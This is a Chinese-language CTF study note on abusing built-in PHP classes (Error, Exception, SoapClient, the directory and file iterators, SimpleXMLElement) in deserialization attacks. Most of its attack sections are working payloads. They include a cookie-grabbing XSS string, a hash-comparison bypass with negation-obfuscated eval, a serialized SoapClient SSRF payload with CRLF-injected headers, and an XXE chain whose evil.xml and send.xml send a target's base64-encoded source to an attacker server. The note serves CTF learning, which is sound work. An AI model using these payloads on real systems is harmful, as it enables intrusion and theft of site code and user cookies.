关联:PHP安全总览安全学习

查找原生类脚本

首先通过以下代码可以查看存在指定魔术方法的原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
            $methods = get_class_methods($class);
            foreach ($methods as $method) {
                if (in_array($method, array(
                        '__destruct',
                    '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

利用Error/Exception内置类进行XSS(toString)

Error类

利用条件

php7以上

开启报错情况下

<?php
highlight_file(__FILE__);
$a=new Error("<script>alert(1)</script>");
$b = serialize($a);
$c = unserialize($b);
echo $c;
?>

自定义一个报错信息为js代码。echo $c时触发了Error类中的toString方法,导致报错把我们自定义的内容输出了。

造成了xss攻击。

Exception类

利用条件: php5、php7 开启报错的情况下

<?php
highlight_file(__FILE__);
$a=new Error("<script>alert(1)</script>");
$b = serialize($a);
$c = unserialize($b);
echo $c;
?>

就是上面的换了一个类

BJDCTF 2nd【xss之光】

通过git拿到源码

<?php 
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

给了GET传参,进行反序列化,不知道怎么自定义类,遇到了反序列化没有POP链的情况。只能通过php内置类进行反序列化,又存在echo,可以用__toString方法返回对象进行反序列化。该题为XSS之光,所以可以通过XSS拿出FLAG。

思路:flag一般在COOKIE的信息里。

<?php
$poc=new Exception("<script>alert(document.cookie)</script>");
Echo urlencode(serialize($poc));?>
//反弹cookie

将得到的结果传入

/?yds_is_so_beautiful=$POC

利用Error/Exception 内置类绕过哈希比较

测试代码

<?php
$a = new Error("payload",1);
echo $a;

发现会以字符串进行输出,包括当前的错误信息payload以及报错的行号2,传入 Error(“payload”,1) 中的错误代码“1”则没有输出出来。

<?php
$a = new Error("payload",1);
$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

输出:

Error: payload in D:\phpstudy_pro\WWW\test.php:2
Stack trace:
#0 {main}
 
Error: payload in D:\phpstudy_pro\WWW\test.php:2
Stack trace:
#0 {main}

$a$b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。

可以利用这个方法绕过哈希比较。

2020 极客大挑战【Greatphp】

考点:php内置绕过哈希比较、php取反绕过

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
 
    public function __wakeup(){
        if(($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>

要是常见的php题目,可以数组绕过强类型。在这题目中,需要Error类。

if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)))

md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。

还需要过滤掉小括号和引号

进行php取反

C:\Users\Administrator>php -r "echo urlencode(~'phpinfo');"
# %8F%97%8F%96%91%99%90
Payload:?code=(~%8F%97%8F%96%91%99%90)();
//将EXP写入
$cmd='/flag';
$cmd=urlencode(~$cmd);
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);
$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

利用SoapClient::__Call进行SSRF

==这里需要在php.ini打开soap的拓展配置找到extension=php_soap.dll,取消注释

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。

  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

使用 SoapClient 类进行 SSRF(__call)

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。

<?php$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?>

但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。

这里书上说可以结合CRLF漏洞打redis等

使用:

一般用于ssrf,一些请求头伪造什么的,结合crlf

由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。

因此在CTF中通常会出现一种存在调用不存在的方法并且需要我们伪造请求头的题目。

这种时候,SoapClient正好可以给我们解决问题。

下面拿一个例题来详细讲解SoapClient在CTF中是如何运用的。

首先题目是给了flag.php的源码,源码如下:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
 
 
if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

打开题目后,内容如下:

Transclude of code=N2IzY2U2ZjI1NzIzNDQ5Y2IzN2EyYzlkNmNhODhhOGJfSHhpaTJEdmhsRmxIaVU5djhldDV2NGNHREFNeXdZTGZfVG9rZW46TUk4eGJzUEdvb0lPZ3V4eXVIQWNPUFN0bnFiXzE3NjQ1MzA3NTk6MTc2NDUzNDM1OV9WNA

<?php
 
highlight_file(__FILE__);
 
 
$vip = unserialize($_GET['vip']);
//vip can get flag one key$vip->getFlag();

我们先审计flag.php,前半部分是对XFF头进行了处理:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
  • explode() 函数可以把字符串打散为数组。

  • array_pop() 弹出并返回 array 数组的最后一个单元,并将数组 array 的长度减一。

这三行代码实际上就是,将服务器得到的XFF的最后一个删除,留下的是倒数第二个

假如我们有以下代码:

<?php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
print_r($ip);

当我们XFF传入以下内容:

127.0.0.1                                                #返回:空
127.0.0.1,127.0.0.2                                #返回:127.0.0.1
127.0.0.1,127.0.0.2,127.0.0.3        #返回:127.0.0.2

接下来我们审计index.php的代码

<?phphighlight_file(__FILE__);
 
 
$vip = unserialize($_GET['vip']);
//vip can get flag one key$vip->getFlag();

可以看到对传入的vip参数进行反序列化,并且调用getFlag方法,显然此处没有类定义了getFlag这个方法,因此我们考虑利用SoapClient原生类调用未知方法后执行call魔术方法,然后构造请求读取flag.php

接下来,我们手动在本地做测试:

我们有如下代码,其中uri中的9998端口是为了和location中的9999端口做区分:

<?php$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));
 
$client->getFlag();

然后我们nc监听9999端口

nc -lvvp 9999

刷新页面之后,可以得到以下请求内容:

Transclude of code=NDY0Y2FjNTNiYWMyZDVkYzc3MGVjNWZhNTYzMTAwM2FfZEw4U1NvMWhxZjNtTEs4MFFtNHZlcnpKWG1RZG94N1dfVG9rZW46R2JUMGJ4YlFXb2ZKYkp4ajVEN2NJSFdVbk9oXzE3NjQ1MzA3NTk6MTc2NDUzNDM1OV9WNA

仔细观察后,发现是一个POST请求,并且SOAPAction的值是可控的

但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded)

因此我们可以想办法伪造User-Agent头

修改后的代码如下:

<?php$ua = "Lxxx";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
 
$client->getFlag();

nc监听后,得到的结果如下:

Transclude of code=YTYyMDFhOTRkNGFlNmQ0MjYwMWI5M2Q4ZjI2YTU0NTBfSklFeUcwM1hmMk5oUFdCTEdtTnhKVmFST2RNeUtYR1ZfVG9rZW46R2ZsaGJlUzg5b1V1V1N4b1lrNmNCODJHbjViXzE3NjQ1MzA3NTk6MTc2NDUzNDM1OV9WNA

可以看到,User-Agent也被注入进去了,此时,User-Agent就成为了我们的可控参数

User-Agent成为了我们的可控参数后,User-Agent下方的Content-Type也同样可以被伪造,利用\r\n换行即可伪造

再次修改后的代码如下:

<?php$ua = "Lxxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
 
$client->getFlag();

代码中有几个注意的点

  • 因为$ua中用到了\r\n这两个换行符,因此要用双引号包裹

  • HTTP请求头之间的参数用一组\r\n分割即可

  • HTTP请求头与POSTDATA之间要用两个\r\n分割.

  • 设置User-Agent时,应写成user_agent

同样的,nc监听后,结果如下:

Transclude of code=ZWIwMzIwNWQ0NTY0ZDA0MGFlMzBhMTk4NmEwZTNhODZfTlBaZ3k1c2Vua29kanQ1TEJ6YXZoQlpkck5yNWtVejRfVG9rZW46WVZSbGJ3eFJ4b3BJQ1d4QlFkSWNLVlF1bjBjXzE3NjQ1MzA3NTk6MTc2NDUzNDM1OV9WNA

其中紫色方框中的是有效的HTTP请求,因为我们设置了Content-Length的值为13,超出13个字符以外的都会被服务器丢弃,所以影响不大。

在本地测试完成了,接下来我们将相关参数修改与题目相对应。

修改后的payload如下:

<?php$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
 
print_r(urlencode(serialize($client)));

得到结果:

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

然后传入payload:

?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

这样flag就被写到了flag.txt中,访问之后即可拿到flag:

Transclude of code=NWVhYjE2YTY1YzQ2N2U1ZjA3ZjNjNmZmMTI3Zjc4ZDVfOHJOWE9BdkRrUjFvQk9CMWZLbThhS0t1R2t1NFMxSE5fVG9rZW46Tjd1b2IyRkxPb0hQT0F4Sjh4WGM2VEgwbkJlXzE3NjQ1MzA3NTk6MTc2NDUzNDM1OV9WNA

但是这题本身是可以直接访问flag.php页面,伪造请求头得到flag的。

不过当有了cloudfare代理,无法直接在本地伪造请求头时,就需要利用SoapClient类来构造请求。

读取文件路径

Directorylterator和Filesystemlterator(__toString)

  • Directorylterator (PHP5, PHP7, PHP8)

  • Filesystemlterator (PHP 5 >= 5.3.0, PHP 7, PHP 8)

$a = new DirectoryIterator("glob:///*");
foreach($a as $f){
	echo($f->__toString().'<br>');
}
$a = new FilesystemIterator("glob:///*");
foreach($a as $f){
	echo($f->__toString().'<br>');
}

他们在调用toString方法时都是返回第一个文件内容,使用要foreach循环

区别就后者读取路径,前者是文件或目录名

使用 glob 协议的好处就是,该协议不受 open_basedir 配置的限制。

Globlterator(__toString)

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

PHP的官方简介:

遍历一个文件系统行为类似于 glob()

与前两个类的作用相似,GlobIterator 类也是可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。

既然遍历一个文件系统性为类似于glob(),所以在这个类中不需要配合glob伪协议,可以直接使用 glob 协议。

看了一下文档发现该原生类是继承FilesystemIterator的,所以也是以绝对路径显示的。

<?php
highlight_file(__file__);
$dir = $_GET['x1ongsec'];
$obj = new GlobIterator($dir);
foreach($obj as $file){
    echo($file->__toString().'<br>');
}
?>
//?cmd=/*

也是返回第一个,所以要foreach

读取文件内容类

SplFileInfo(__toString)

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

官方解释:

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口。

该类也存在 __toString 方法,

其返回值为文件的路径。

<?php
$filename = $_GET['cmd'];
$obj = new SplFileObject($filename);
foreach ($obj as $content) {
    echo $content;
}

使用 SimpleXMLElement 类进行 XXE

  • 适用于PHP 5, PHP 7, PHP 8

通过设置第三个参数 data_is_urltrue,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。

[SUCTF 2018]Homework

进入题目,随便注册一个账号,登录作业平台。看到一个 calc 计算器类的代码。有两个按钮,一个用于调用 calc 类实现两位数的四则运算。另一个用于上传文件,提交代码。

calc 计算器类的代码为:

<?php 
class calc{
    function __construct__(){
        calc();
    }
 
    function calc($args1,$method,$args2){
        $args1=intval($args1);
        $args2=intval($args2);
        switch ($method) {
            case 'a':
                $method="+";
                break;
 
            case 'b':
                $method="-";
                break;
 
            case 'c':
                $method="*";
                break;
 
            case 'd':
                $method="/";
                break;
 
            default:
                die("invalid input");
        }
        $Expression=$args1.$method.$args2;
        eval("\$r=$Expression;");
        die("Calculation results:".$r);
    }
}
?>

我们点击calc按钮,计算2+2=4,我们观察url处的参数,再结合calc计算器类的代码可知module为调用的类,args为类的构造方法的参数:

所以我们可以通过这种形式调用PHP中的内置类。这里我们通过调用 SimpleXMLElement 这个内置类来构造 XXE。

首先,我们在vps(47.xxx.xxx.72)上构造如下evil.xml、send.xml和send.php这三个文件。

# evil.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://47.xxx.xxx.72/send.xml">
%remote;
%all;
%send;
]>
# send.xml
 
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://47.xxx.xxx.72/send.php?file=%file;'>">
 
# send.php
 
<?php 
file_put_contents("result.txt", $_GET['file']) ;
?>

然后在url中构造如下:

 
/show.php?module=SimpleXMLElement&args[]=http://112.124.xx.xx/evil.xml&args[]=2&args[]=true
 

这样目标主机就能先加载我们vps上的evil.xml,再加载send.xml。

如下图所示,成功将网站的源码以base64编码的形式读取并带出到result.txt中:

后续解题过程就不写了。